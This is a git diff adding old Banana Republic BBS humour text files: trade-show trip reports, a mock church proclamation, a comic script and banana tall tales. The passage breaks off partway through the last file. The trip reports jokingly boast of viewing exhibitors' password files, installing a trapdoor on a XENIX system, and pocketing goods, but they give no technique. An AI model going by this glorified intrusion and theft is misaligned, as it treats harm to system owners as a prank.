Banana Republic BBS +------------------------------------------------------------------------------- +ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ diff --git a/textfiles.com/groups/BANANAREPUBLIC/aptel89.txt b/textfiles.com/groups/BANANAREPUBLIC/aptel89.txt new file mode 100644 index 00000000..38c6dd3b --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/aptel89.txt @@ -0,0 +1,117 @@ + +File : APTEL89.TXT +Author : Iceman(NZ) +BBS : The Banana Republic BBS + + + Applied Telecommunications goes to Computing '89 + ================================================ + + This document describes Applied Telecommunications trip to Computing '89 +and the various events that occurred there. As such it is mainly of interest +to those who took part, but also goes to show what you can do with a few names +and crossed fingers. + +The Crew: +========= + +Name: Position: A.k.a. + +Charles Babbage Analytical Engineer The Yuppie, +I.O.Buffer Interrupt Handler +P.H.Reak Black Box Concepts The Iceman +Ron Mcdonald Memory Manager Red One +V.M.Driver Virtual Memory Manager +J.Lucasiewicz-Janczewski Disk Drive Controller + Video Controller The Master of the Arcane + Resource Manager Cousin It + + - Plus various other people who for one reason or another used their real + names. + +Preamble: +========= + + At 10:30 almost 50% of the staff of Applied Telecommunications climbed into +the Master of the Arcane's car to head off to Computing '89, clutching business +passes acquired by various means, blank disks, copying programs, and lists of +funny names to use on the registration form. After the Master of the Arcane +had carefully reversed up the driveway (to allow the puddle under his feet to +drain throught the rust-hole beneath the seat), and after a brief stop for +petrol and to have his windows washed for the first time ever, we screamed off +to the Epsom Showgrounds, at times hitting speeds of nearly 40 kph and putting +the doors in serious danger of falling off. At 11:25 we were at the main +entrance, ready to rendezvous with various other people prior to going in. + +Amble: +====== + + While filling out bogus names and positions in the registration form, we +were met by the sad news that Ron Mcdonald couldn't get the day off work (which +instantly dashed all hopes of going to the Apple stand and asking for "A Mac. +A big Mac. Also some fries and a large coke, to go"). Various other people +(including our beloved Presidente) had transport trouble and couldn't turn up, +and one Mack the Knife actually chickened out and went under his REAL NAME!! +(shame, shame!). Another sad casualty was the well-known computer pioneer +Perestroika Glasnost - the people at reception were stupid, but not *that* +stupid. After some slight indecision over whose phone-number to give, Charles +Babbage managed to find a copy of the Yellow Pages, and we all dutifully +recorded the Portaloo number as our business line. + And so, at slightly reduced battalion strength, we entered the hall, and +immediately began the annual "see-who-can-collect-the-most-business-cards" +competition, coupled with a souvenir-gathering blitz that would have put a +major crimewave to shame. Vast hordes of people would descend on a stand, +remove everything not nailed down, and depart a few minutes later leaving only +a few shattered displays, picked-clean bones, some dust and cobwebs, and the +occasional dried-up bush bowling along in the wind that howled through the +nooks and crannies of the long-abandoned ghost-town where Billy the Goat would +soon meet his death at the hands of.....oh, sorry, where was I...oh yes, +souvenir raids. + Quite early on in the piece the various collections of business cards had +become decidedly unwieldy, so after grabbing a couple of bags off some poor +harassed salesman we proceeded to set about filling them with all sorts +of...um...trade "gifts". Mack the Knife quickly located an unguarded IBM pen, +and liberated it from the desk while everyone else was busy stabbing the person +next to him with those "dinky" (to use Cousin It's favourite word) flags that +doubled as amazingly lethal weapons. Soon thereafter he located a stand where +they served cheese and crackers, and all we heard for the next few minutes were +happy munching sounds as he sampled the stock. In the meantime, the Iceman was +busy viewing the password file on the XENIX system at the Phoenix stand, until +he was suddenly and unexpectedly booted off by the only other salesman at the +entire show who knew anything about computers. Upon being reunited with Mack +the Knife ("Have you been eating crackers, Mack?" - "No, of course not" - "OK +then, whistle" - "SPLUURRGGHH!!"), we tried to enter the Brimaur stand. I say +"tried" because for some unknown reason there seemed to be some unknown force +that stopped us from getting in (perhaps it was the large "No Pirates" sign +next to the door, I don't know), but anyway it didn't take Mack the Knife long +to discover, hidden by a stack of monitors, a folder containing free demo +software for the salesmen to hand out to prospective clients. Who knows what +they contained, they were 1.2MB Maxell disks! Several vanished within seconds. + After removing some SCO UNIX badges from the Phoenix stand (serves then +right for kicking the Iceman off) and removing Mack the Knife from the +cheese-and-crackers stand, we moved to the IPC stand, whose salesmen knew next +to nothing about computers, and who watched calmly as the Iceman installed a +trapdoor onto their XENIX system, and then again as Charles Babbage examined +the password file. Shortly beforehand, someone had questioned him about his +name: "Hey that name looks familiar. Yeah, Charles Babbage, he's a plumber, +used to live across the road from us". Thus is the level of technical +expertise of the average salesman. + After tearing Mack the Knife away from his cheese and crackers, we were +rudely informed by the Master of the Arcane that it was time to depart. And so +as we bid a sad farewell to the exhibitors, with heavy hearts and pockets +bulging with small articles to remember them by, we left the hall. On the way +back, we stopped briefly to wash the Master of the Arcane's car windows for the +second time ever, and then gradually dropped various staff members off at their +respective dwellings, happily waving business cards, pens, pencils, disks, +badges, booklets, and various other computing paraphernalia, as we rode off +into the sunset. + + --- Watch out for Applied Telecommunications at Computing '90 --- + + The Iceman. + +------------------------------------------------------------------------------- +AUTHOR : Iceman(NZ) +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- diff --git a/textfiles.com/groups/BANANAREPUBLIC/aptel90.txt b/textfiles.com/groups/BANANAREPUBLIC/aptel90.txt new file mode 100644 index 00000000..0fb628ab --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/aptel90.txt @@ -0,0 +1,115 @@ + +File : APTEL90.TXT +Author : Iceman(NZ) +BBS : The Banana Republic BBS + + + Applied Telecommunications goes to Computing '90 + ================================================ + + This document describes Applied Telecommunications' trip to Computing '90 +and the various events that occurred there. After the success of our trip last +year (see the file APTEL89.TXT) it was decided to mount an even larger +expedition this year.....and now read on.... + +The Crew: +========= + +Name: Position / Company A.k.a. + +Eddie Van Halen SNJ QZM + SNJ Hexen Hammer +The Cookie Monster - / Nibbles and Bytes Hexen Hammer +Dr.Dobbs SNJ Turbo Scuzzy +Hugh Lette-Packard Disk Drive Controller / E.M.Pty The Iceman +The Iceman Consultant to the BR The Iceman +E.N.Iac SNJ Cuzzin It/Rastaman Ja +El Prez Sysop of the BR El Prez +Bat Bastard Consultant to the BR Bat bastard + Mack the Knife + + Note that those people listed twice later re-registered under another name. + Also, various other people for one reason or another used their real names. + +Preamble: +========= + + At 9:30 almost 90% of the staff of Applied Telecommunications appeared as +if by magic in the Computer Lab at Auckland University, ostensibly to attend a +business meeting for a company somehow related to Applied Telecommunications in +an undefinable manner. Many of them had dressed especially for the occasion: +QZM wore a long coat with seemingly bottomless pockets, ideal for storing free +samples of products; the Rastaman wore a stylish black jacket over which he +draped his slightly less stylish "Cuzzin It" hair; and the Iceman (for the +first time in living history) actually wore shoes (however he offset this +slightly by wearing a "Kentucky Fried Chicken" shirt and faded jeans). After a +relatively brief meeting consisting mainly of rude comments about a certain +brand of computer, we distributed ourselves into various cars, and sped off in +the direction of the Epsom Showgrounds, clutching business passes acquired by +various means, blank disks, copying programs, and lists of funny names to use +on the registration form. + +Amble: +====== + + Upon arriving at the venue and stowing vast quantities of materiel into the +enormous pockets of QZM's coat, we approached the foyer of the Michael Fowler +centre, only to discover with horror that our business passes were worthless - +there were stacks of them lying around for anyone to use. Even more mysterious +was the presence of a number of unattended terminals, apparently for +"do-it-yourself" registration. Presumably this was done as a cost-cutting +measure and to speed up what has previously been something of a bottleneck; +however this may not be done again next year due to its abuse by a number of +irresponsible hoons who entered all sorts of ridiculous names and companies +into the system. + After typing in our names, addresses, phone numbers, computer systems, date +of birth, and mother's maiden name, we proceeded into the hall, immediately +launching into the annual "see-who-can-collect-the-most-business-cards" +competition, coupled with a souvenir-gathering blitz that would have put a +major crimewave to shame. The main competition was between the Iceman and +Rastaman Ja, who were determined to outdo each other in the volume of their +"acquisitions". At around the same time, Eddie van Halen, wearing a Roland +synthesizer shirt and standing in front of a keyboard trying to play it, was +asked by a salesman if he was sure he knew what he was doing. Shortly +afterwards, he was seen engaged in conversation with an ernest-looking +gentleman of Dutch descent wanting to know which part of Holland he came from. + At around 2:30, the contingent from the esteemed Banana Republic BBS +arrived, and El Presidente, the sysop, immediately handed out BR stickers to +all present. At this point also several people underwent name changes as they +assumed their BR identities (it is also rumoured that some people underwent sex +changes as well, however Mack the Knife has vigorously denied these +allegations). Now it was time to witness, once again, that most amazing of +things, the Presidential Souvenir-Gathering Manoeuver. This involved wandering +up to a booth, engaging the salespeople there in conversation for a few +minutes, then calmly opening a large bag and, in one grand motion, sweeping the +entire contents of the table in front of the booth into it. This technique +really had to be seen to be believed. + Shortly thereafter the Iceman located an unattended Exhibitors Pass lying +next to a Wang system, but despite all attempts to acquite it he was repeatedly +foiled by the eagle-eyed salesman hovering around the stand. However, he later +relieved the Number One Software stand of one of these prizes while the staff +were busy discussing the merits of the Jaffas they were supposed to be +distributing in a quiet corner. Rumour has it that Mack the Knife also +acquired one of these treasured items at the close of the exhibition, along +with an enamelled chart of the show LAN, and miscellaneous other paraphernalia. + A place of interest at the show was the NZ Micro stand, where at some time +during the event nearly every sysop in Auckland turned up, both those of the +more legitimate BBS's, and those of "other" BBS's (most of them members of the +Applied Telecommunications group). In fact, there was such a strong Aptel +showing this year that salesmen at various stands recognised the company as +soon as they read out nametags. + However, all good times must come to an end, and so we bid farewell to the +hackers social event of the year (excluding the world-famous Banana Republic +party), and with hearts heavy and pockets bulging with small mementos of the +show, we quietly set out homewards once again ("Do you think we could blow +their tires if we turn the volume up far enough?"). + + --- Watch out for Applied Telecommunications at Computing '91 --- + (And lock up your valuables) + The Iceman. +------------------------------------------------------------------------------- +AUTHOR : Iceman(NZ) +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/ban_relg.txt b/textfiles.com/groups/BANANAREPUBLIC/ban_relg.txt new file mode 100644 index 00000000..be474ca9 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/ban_relg.txt @@ -0,0 +1,113 @@ + +File : BAN_RELG.TXT +Author : El Presidente & Bat Bastard +BBS : The Banana Republic BBS + + + AS REVEALED BY DIVINE INSPIRATION + THE WORD OF THE GREAT BANANA + --------------------------------- + + +Hear Ye, Hear Ye... + +Let it be known amongst the populace the our Divine Lord the +Great Banana has spoken to us. + + +"And ye, verily, thou shalt makeith a church of mine upon the +earth, and it shall be called The First Church of the Born +Again Banana. My corporeal representative in all matters +shall be El Presidente, and he shall be hence forth called +Pope Inclement Drinking Weather the First." + + +In direct accordance with our Lord the Great Banana's wishes +I have hereby founded The First Church of the Born Again +Banana, and declared myself Pope. The Great Banana, acting +through his earthly representative (me) has demanded that a +priesthood be formed, headed by a Cardinal, and this Cardinal +shall be named Cardinal Nana. Bat Bastard has been chosen +for this ministry and shall henceforth be known as Cardinal +Nana. + +Hear Ye, Hear Ye... + +All ye worshipers of Bananas let us come together, to worship +the Great Banana in accordance with his divine wishes. + +All ye followers of the Great Banana who wish to participate +in the worship of our Lord, should make yourselves known to +us, and we will enlighten you in the ways of the Great +Banana. + +Signed and Dated + +El Presidente. +Pope Inclement Drinking Weather the First. + +The Year of our Lord the Great Banana 19524. + + + + +A Call to the BananaHood ! +-------------------------- + +Fellow citizens! Bretheren! Brothers!(and sisters) + +Have you felt a weakening of the moral fibre, the very +essence of the society in which we live? Skate muties on +every street corner! Deviants baying at every door! +Pacifists, peace activists and poofters clawing at the +constitution! Fear not,,oh woeful ones, for verily and yeah, +thine salvation is near, for The great Banana himself has +revealed his plan for the salvation of us all. For verily the +Great Banana has quoth "You are the Banana , ans on this +Banan I will build this church, for the foolish man builds +his house on a rock, the very cymbal of imperminance, but the +wise man. he buildith his on a Great Banan (preferably 9" or +more)" A Church has been founded, with Pope Inclement +Drinking Weather the 1st as the force made fruitful, and +myself, Cardinal Nana as his appoinyed and annointed right +hand banana . But forceful though we are , we need YOU, oh my +brothers and sisters, to combat the evil of the Lord Of the +Fruitflies, to tell it on grove,yea, even unto the ends of +the earth(even Otara), from the banana bar of the Globe,, to +shout to anyone who will listen (and anyone who willnot). +This is our mission, to be the Daleks of god, to Join, my +kindred, unite in the Priest hood of Nananess. + +Are YOU worthy? Do you posess of these noble qualities: +Non-celiate +A nine inch Nana +A LOUD voice +A fervent passion to preach the way of the Great Banana +Good running shoes +A kevlar flack jacket +Lots of money (for donations). + +If you Fell worhty to this , the greatest of calliings, +contact I, Cardinal Nana, (or, under my secular title, Bat +Bastard), as soon as possible. + +May your Banana never wilt, may the fruit of your loins be +naught but Bananas, and may you walk in the everlasting light +of the Great bananas Radiance. +P.s do not hide your banana under a bushel. + +Signed and dated + +Bat bastad +Cardinal Nana + +Yera of our Lord, the Great Banana 19524 + + + +------------------------------------------------------------------------------- +AUTHOR : El Presidente & Bat Bastard +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/banana.txt b/textfiles.com/groups/BANANAREPUBLIC/banana.txt new file mode 100644 index 00000000..f1b7ca0e --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/banana.txt @@ -0,0 +1,627 @@ +From the creators of Star Trek, the Next Regurgitation... From the mind +that spawned an argument simulator... There comes... + + S I X M E N A N D A B A N A N A + --------------------------------------- + ----------------------- + ------- + + +A NEW THUMPING GOOD TRANSDIMENSIONAL, TIME TRAVELLING, PASTIE EATING, +LEMMING FLATTENING, NETWORK CRASHING, CRAMP INDUCING TEXTFILE BASED ON A +FEW KEYBOARD FREEKED LUNATICS AND... A BANANA + + It`s one- thirty- PM, which is quite a coincidence because the story +starts in room D-130 at the Henley College. D-130, by the by, is the +computer room, as borne out by the sign on the wall, which reads: + + HACKERS HAVE DENS + + GRAPHIC ARTISTS HAVE LAIRS + + SYSOPS HAVE DOMAINS!! + --------------------- + + In the Room, Steve "The Mad Hippo And Part- Time Local Gravitational +Anomaly" Lake is working on a Silly C Program. Bog "Conifer Tree" +Hennessy-Barrett is working on a silly picture involving lemmings, vaseline +and Yaks. There are assorted nonentities doing relatively unimportant +things with the various Psuedocomputers scattered around. + + Steve is having a problem with his current proglet... + +STEVE: BUGGER! + + Steve is a fun, fun fellow. Almost totally silly, with an eternally happy +outlook on life, until he gets angry, he is most renouned for being able to +catch buses. Literally. This phenomenon is due, in most part, to his +ability to generate an instant 6000 metres per second squared acceleration +in any direction. Given enough Coke and sugar, that is. His other talents +include squashing things, and making totally logical constructs do totally +illogical things. He is, in short, the ultimate Amiga owner that Evolution +could possibly have produced. + +BOG: Problem? + + Bog is... Bog. Too tall for most shoes, too longhaired for most glasses, +too violent for most vending machines, Bog`s primary method for expressing +himself is to strafe the object in question, and bayonetting people with +Hypothetical Bayonets. Bog`s most spectacular ability is the capacity for +taking a mundane, menial task, and turning it into an excuse for not doing +anything more like work. This minor failing is made up by the fact that +when it comes to boring tasks (EG, maths or boring parts of Physics +(Equations, but not detonations), he has a head like a sponge. As a +further peep into his Psych Profile, he is lemming- obsessed and F-16 +posessed. Another Amiga Phreeeek, his pet love is insulting PC owners. + +STEVE: MY BLOODY PROGRAM ISN`T WORKING! + +Now, Steve makes a critical error. He stamps his foot in frustration. The +building quakes, and windows shatter. A mousepointer is jolted clear off +one screen and lands on the desk with a sound like a winded lemming. On +the other side of the globe, six million chinese people are bounced into +orbit. + + Just at that moment, in should walk Nick Hatton. Most people call him +Nick, but his freinds call him Nik. Y`see, he doesn`t like the "S" sound +in the middle, to rhyme with Disk. That`s the sort of person Nik knows. +The really odd thing about him is the flight path ladder and gunsight +etched on his specs. And the fact that he gets contrails off his knuckles. +The current totally, utterly, unutterably odd thing about him is the fact +that he`s covered with fine white plaster dust. + +NIK: Steve, is there a problem? + +STEVE: How did you know? + +NIK: Well, Bob (The lekkytronical teach) just got brained by a lump of +combo readybrek/ plaster, and everything`s covered in fine white dust +downstairs, plus the fact that six million chinese people are now orbital +sushi. + +STEVE: Ah. So that`s how you could tell. I`m having trouble with my C. + +BOG: What, does it keep stock still, and the beach washes up and down? + +Everybody throws large, hefty objects at Bog, who ducks, allowing it all to +hit The Kevin which just at that Most Opportune moment entered. + +THE KEVIN: Aaaaaaooooowwww. Ha ha ha. Good joke everybody! + + Sadly, Kevin U. Palmer (The "U" standing for "Uuuuhhh....") is under the +delusion that everyone likes him, and just pretends to want to kill him. +However, if you swapped the operative words in the above sentence, (Like +and Kill), you would arrive at the truth. Another home truth is that if +you know The Kevin, you will already mentally have done this, and also +substitude the word "Sadly" for the word "Hilariously". + +Nik examines Steve`s sourcecode. + +NIK: Oh, no wonder!!!! + +STEVE: What is it? + +NIK: You`ve written this like we were taught to! That`s why it`s not +working! If you just do the reverse of what Graham said, you`ll be +allright! + +STEVE: Okie dokie, matey. + +BOG: (Aside to Camera): Now the real reason that Steve`s program doesn`t +work, is because it was written on an IBM clone. If it had been written on +an Amiga... YOW!!! + + Nik wipes the blood off of a suddenly- dented keyboard and carries on +talking to Steve. + +NIK: Dead simple. Just pretend that you know precicely nothing about C +programming. + +STEVE: Uhhhhhhh.... OK. + + Steve whips out his Big Silver Roar Gun and riddles the monitor and CPU +box with hypothetical bullets/ rockets/ Lemmings squeaking "Fire" and +napalm. + +NIK: Perfect! It`ll work now! + + Lo and behold, the screen goes blank, and a banana drawn in ANSI graphics +appears. + +BOG: Now, if you`d handdrawn that in DPaint 4 on an +Amigaaaaaaghghghghghhh! + + Nik pulls a PosiDrive out from underneath Bog`s shoulderblade, wipes it on +the carpet and reinserts it in his pocket. After some gasping, Bog manages +to get himself upright in his seat. + +BOG: You`re just jealous. + + WHUMP! (Squidge) + +BOG: Whhaaaaaaaargggghh! Ye BASTARD!!!!!!!! + + Leaping from the chair, he takes Nik down in a tangle of mice, headphone +cords, glasses, tape streamers and PCs. A cloud of dust obscures the +proceedings until finally there is only one person left standing. And +that`s Steve, who has been brassbanding "In The Mood" during the fight. + +NIK: Goaaar, that was fun. + +BOG: Can`t thank you enough, old man. Been moons since I`ve had a decent +scrummage. Fookin` great. + + Three minutes of sorting out glasses, headphones, cables, body parts and +assorted fractures later, the twain retire for a relaxing fag and another +enlivening round of personal insults. The sound of grunts, clangs and +thudding body blows reaches us from outside. + + Steve shakes his head sadly, and continues with his Banana Simulator +program. All in all, a totally gnormal day at Henlej College. Must +remember to change back from the Swedish kejmap. But, as our heros are +soon to discover, even the ones I haven`t written in yet, today is not just +your common- or- garden Collij day. + +STEVE: (Pushing buttons) Oh, my god! + +NIK & BOG (In Dolby B): What? + +STEVE: We`ve got a new server, and nothing`s wrong with the Net. + +Just as he speaks, The Kevin utters that Dread Phrase: + +THE KEVIN: Hey everybody, I`ve just done something really interesting! + +NETWORK: Dwwwwwweeeeeaaaarrrrooooooouuuuuughhhhhhh, kerthunk. + + All the monitors darken. The lighting gets dimmer, and the temperature +drops five kelvin, but then if you had an armload of kelvins and that +happened, you`d probably drop some of them as well. + +ALL EXCEPT THE KEVIN: !>ohshitwhat +BOG: +STEVE: +IAIN: +CRAIG: +GARETH: Can I have a go? + +N/B/S/I/C: Fu... uh... no. You can`t. + +BOG: Only one thing for it, dudes. It`s starting to get silly. You know +what that means. + +STEVE: Yeah. Nothing does what we expect it to do. + +NIK: Right! So if we`re playing it at it`s own game... + +BOG: Then this computer (If I can bring myself to call it that (sneer)) +expects me to use the mouse, then by simply doing something else... + +IAIN: You outwierd it! + +Craig pulls the syringe from behind his ear, and shoves it into his arm + +CRAIG: God, I wish I had something stronger than Insulin on me...(Squirt) + +BOG: Reet. + +He grabs the mouse, which starts squeaking, and attempting to drive his +hand crackingly into the CPU box. Sussing it`s game, he grips it, hoys it +three feet it the air, and, an expert eater, catches it in his gob. +Krrrunch. + +BOG: Guuuuumph.... bruuuuuuuup. Hmmm. Needs oregano. + +Steve, Iain, Craig and Nik start chewing simultaneously and agree all at +the same time. They look at one another. + +NICK: Oh my God, they`ve gone mad. + +As The Claytoid passes by a diskbox, it`s contents start rippling out of it +and onto the floor in a pretty fanspread relational to tidal gravity from +his paunch. + +STEVE: Bloody hell. Not satisfied with taking other people`s code, he`s +ripped off my bloody gravity flux as well! + +BOG: Well, at least now it doesn`t seem like we`re looking at you through +fisheye lenses anymore. + +IAIN: How`s that? + +BOG: Well, now photons should warp around him any longer. + +STEVE: Bugg... uh.. no, I mean... + +The ICL that Stevey Babes is sat at suddenly... phases. The banana +disappears to be replaced with a cabbage flashing red and purple. + +STEVE: Aaawwwww, SHIT! + + At this point, Dan "Pastie" Powell walks in, and seeing as I can't think +of anything for him to do right now, he just leans against a wall for a +bit. While he's doing that, I'll tell you about him. + + Dan is marked by the fact that he's the only person in creation to have an +alien lifeform living in perfect simbiosys with him. The creature's real +name is totally unpronouncable, so everybody just calls it by it's function +in life :- "Hair". The other remarkable thing is, he's the only person in +the Team who's room is always tidy: The reason for this phenomenon is +simple: Dan uses pasties for energy. Hair uses the rubbish on Dan's floor +for energy by grazing whilst he sleeps. + +Craig has finished logging in, but is confused by the Henley Kollidge login +screen`s replacement by a glowing red orb. He hits the break key. + +HAL: I`m sorry, Craig, but I can`t allow you to do that. + +Craig looks overhis shoulder at everyone else. + +CRAIG: Can somebody tell me what the HELL is going on here? + +STEVE: I`m afraid IT`s happening again, Craig. + +CRAIG: No, not... THAT. + +NIK: Yes. We`re re- entering... + +ALL: THE A LITTLE AFTER LUNCHTIME ZONE! + +Soundtrack: nee nee nee nee, nee nee nee nee, nee nee nee nee, nee nee nee +nee! + +HAL: Craig, why don`t you take an anti- stress pill and we`ll discuss +this. After all, I have the utmost enthusiasm for the mission. + +STEVE: Hmm. We appear to have had a fragment of 2001, a Spaced Odyssey, +penetrate our personal reality- space. + +NIK: Can you justify calling THIS reality? + +IAIN: Ever seen inside an Amiga? + +NIK: Oh, yeah. + +BOG: Shurrup. (Sulk). + +STEVE: Actually, guys, this is a bit of a change! We`re staying where we +were this time, and everythings coming to us! + + Cue backdrop fade out to inky black space, pierced at intervals by stars +scattered like diamond dust on jet- black velvet, then to a clinically +white room: the monitor with the glowing red orb has been +transdimensionally replaced with a dull red scanner eye and a seventies- +like Bolton- ferbruary- day- grey console with the nameplate "H.A.L. +9000". We just have enough time to hear our heros` jaws hit the ground +before it`s time for the credits. + +IN NEXT WEEK`S SIX MEN AND A BANANA... + +----- + +STEVE: OK. It seems that Iain here has turned reality into swiss cheese. +We just happened to randomly pop up on the Discovery, just before Frank +Poole gets killed by Hal... + +DAVE: Whaaaat? + +HAL: Oh, bugger. Er, it was just going to be a joke, Dave... + +----- + +DAN: Need a hand? + +BOG: Thanks. + +(POP) Bog pockets Dan`s left hand. + +DAN: Oi! Give that back! + +BOG: Soz. (Skwudge) + +----- + +HAL: I`ve got some people trying to take control of the Discovery. They +want to destroy my mind. + +KILLEMALL: Will three Mark IIX assault droids and a disruptor unit do? + +HEL: That should be perfectly adequate. + +KILLEMALL: I`m despatching them now. They should arrive in a couple of... + +----- + + That last part has been removed on the grounds of maintaining suspense. + +Fade. + \ No newline at end of file diff --git a/textfiles.com/groups/BANANAREPUBLIC/barri.txt b/textfiles.com/groups/BANANAREPUBLIC/barri.txt new file mode 100644 index 00000000..ee346f02 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/barri.txt @@ -0,0 +1,125 @@ + +File : BARRI.TXT +Author : Unknown +BBS : The Banana Republic BBS + +30/07/89 +------------------------------------------------------------------------------- + This is the story of Barri, an unusual Banana, a bouncer, + a boozer, and a quadraplegic boxer and, his altogether + different friend +------------------------------------------------------------------------------- + +I first saw Barri at the pub (he is to be found there most nights of the week, +as he is unable to resist a beer, being a bit of a boozer). Barri, +although being a quite retiring sort, is occassionally to be found in the midst +of trouble at his favourite spot by the bar, this may seem strange as it is not +in his nature to be a trouble maker, but rather it is his unfortunate +condition, which seems to incite a certain breed of person. People who know, +no better, and those who are want to cause trouble (as people the whole world +over sometimes do) approach Barri, and mistakenly assuming that this +apparently shy Banana, will provide a bit of sport, begin to tease him saying +"Hey you, we don't like Bananas sitting near us, that's my air you're +breathing!" Barri usually ignores them, but sometimes when pushed beyond his +limits, or when forced to by the circumstances beyond his control, he +reveals, that he is a bouncer at a local Rhythm and Blues Bar, and having had +to learn a craft of self-defence (forced to, somewhat by the very nature of his +profession) that he is a boxer. + +It was, under these circumstances that I met Barri, the boozing (some would +even say alcoholic), boxing, bouncer Banana and his altogether different +friend. Barri was sitting at his favourite spot near the bar, when I, having +spotted him from across the room, came over and introduced myself. Barri was +polite, and indicated that I should sit with him, being the very well mannered +genial type that he is. He mentioned briefly, as I sat feeling rather awkward, +that he was expecting an aqaintance, but that I was more than welcome to join +them. Very soon after, we were indeed joined, just as Barri had previously +mentioned, by his altogether different friend, a somewhat seedy fellow (which +supprised me, for Barri had seemed to me to be a Banana of principles) a +dictator of ill-repute. + +As I sat talking with Barri, and his altogether different friend, I gradually +began to piece together bits of his character, and some of the circumstances +surrounding his relationship with his altogether different friend, the +dictator. Barri had met the dictator, it seems, answering a situations vacant +ad in a Soldier of Fortune magazine (although why Barri, this seemingly +harmless Banana (quite apart from the fact that he is a boxer) would be reading +Soldier of Fortune magazine is beyond me). It seems that the dictator required +someone to train a para-military force for a Banana Republic somewhere in the +South Pacific, and although Barri mentioned nothing to me, I could tell by a +strange gleam in his eye, that there was some part of him that yearned, once +again, for the excitement and danger of a combat situation. (It is at this +point that I must reveal that Barri, the dictator, and I were actually sitting +in an establishment, frequented by the Hells Angels, so perhaps it is this way, +that he expressed his desire for danger.) It soon became clear to me that the +dictator, was more than just Barri's employer, and I could see as I sat there, +in the midst of 250 inebriated gang members, that there was a real bond between +these two friends. + +Barri, began to tell me about his life, and it is indeed a strange tale of +excitement, adventure and, at times sorrow (for who amongst us can say that we +have truely lived, if our experiences do not contain some sorrow along the way) +and I feel that Barri, has in no way finished with his life, it seems as +though this point in time is but a small pause in his hectic lifestyle. For +reasons of safety, security and, just because of the fact that Barri may be +injuried if I repeat some of the comments he made to me, I will have to refrain +from speaking of all he told me, however, I can reveal that Barri, has during +his life been: a South Seas Pirate; involved in the Arms for Contras deal of +the Regan Administration (I believe he actually financed purchases from +Mainland China); involved in smuggling refuge Bananas from the Fiji Islands, to +Southern Australia, during the recent coup there and, although I only heard a +mumbled, broken, whisper I believe he may in fact know something about the +strange, even horrific tales, involving that vigilante, the Masked Banana. + +The time was getting on, the lights around the bar seemed to be dimmer than +before, and most of the gang members had departed, but Barri was to reveal to +me, in this ever encroaching darkness, perhaps the strangest of his tales thus +far. It was during a training jump over the wilds of Papua New Guinnea, +apparently, that this strongest of friendships, between the ever likeable +Banana, Barri, and his altogether different (even seedy) friend, the dictator +(and stranger still was the fact that the dictator seemed even more at +home in the increasing darkness, as though his persona was solidifying and +becoming more real) was truely forged, in the fires of a common suffering. It +seems that, Barri, and the dictator were involved in a training parachute and +survival jump over the interior of Papua New Guinnea (one of the only truely +untamed jungles, although the Amazon Basin may also lay claim to this title, on +the face of the earth) when, their plane was damamged in a tropical cyclone, +(trpical cyclones being somewhat more common over Papua New Guinnea (and more +violent), than the rest of the Pacific). This cyclone forced them to crash +land their plane in the very heart of the wilds of the tiny island. It is here +that the proceedings, become slightly confused (whether this is to be +atrributed to the late nature of the hour, the amount of alcohol consumed, or +the very nature of their experiences, I cannot tell) but it appears that Barri, +a Banana of courage, and his altogether different friend, stumbled onto a +strange hidden civilization, a remanant of a Japanese infantry division, that +was hiding in this remote region, refusing to acknowledge the end of the war, +but rather waiting quietly, building up their numbers and their weaponry in +preparation for an all out assult on Singapore. I cannot tell what horrors +Barri, and the dictator (a rather seedy charcter) endured, all I can say is +that when they emerged from the tropical jungle over 5 months later, carrying +over a 300 Japanese made cameras, watches, and hi-fi units (and some say that +there is even now, a division of the Mitsubishi Coporation of Japan, operating +from the wilds of central Papua New Guinnea) that there was now friendship of +truely epic proportions, bonding Barri, a boozer (he is first to admit to this +very fact), a bouncer, a quadraplegic boxer, a REAL Banana and his altogether +different friend, a rather seedy character, the dictator. + +It was by now, well after 4am (and yet the bar was still open, almost as if it +refused to close whilst Barri remained there) and I rose to take my leave. +Barri shook my hand warmly, and mentioned that if I should ever pass by the +Rhythm and Blues Bar where he bounces, or even the Banana Republic (at which +point the dictator smiled and nodded) where he spends much of his time, that I +should drop in and say hello. + +As I walked out the door of the bar, into the cold, dark night I couldn't help +feeling that, this night, I had indeed met a unique Banana, that now remains a +part of me forever. + + Oh, and Barri says Hi. + +------------------------------------------------------------------------------- +AUTHOR: Unknown (well I'll give you a guess, sometimes called LP) +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/beau.txt b/textfiles.com/groups/BANANAREPUBLIC/beau.txt new file mode 100644 index 00000000..dde1a71b --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/beau.txt @@ -0,0 +1,71 @@ + +File : BEAU.TXT +Author : Trillion +BBS : The Banana Republic BBS + + + Baron Beauregard of the Baskervilles "The Bastard" + + -------------------------------------------------- + A Gothic saga, the story of Beau Banana, recently encountered in Australia +and, at present staying in my courtesy cell, introduced and commended to my +care by El Presidente (all hail our glorious leader!) + + Beauregard's story begins in Barcelona where he read in an English +newspaper one day of the search for the lost heir of the Baskervilles. + Some few weeks later headlines in London read "Baron Beauregard Banana +of the Baskervilles reveals brown birthmark-claims inheritance." + At Baskerville Hall, Beauregard also known as "The Bastard" formerly +believed to be born on the wrong side of the baronial blanket is now proved +to be the true son begotten by bawdy Baron Brian Banana, whose demise during +a baronial banquet had brought much relief to the burghers of his benighted +barony. + Beau (The Bastard), settled right in to the life of an aristocratic +banana - 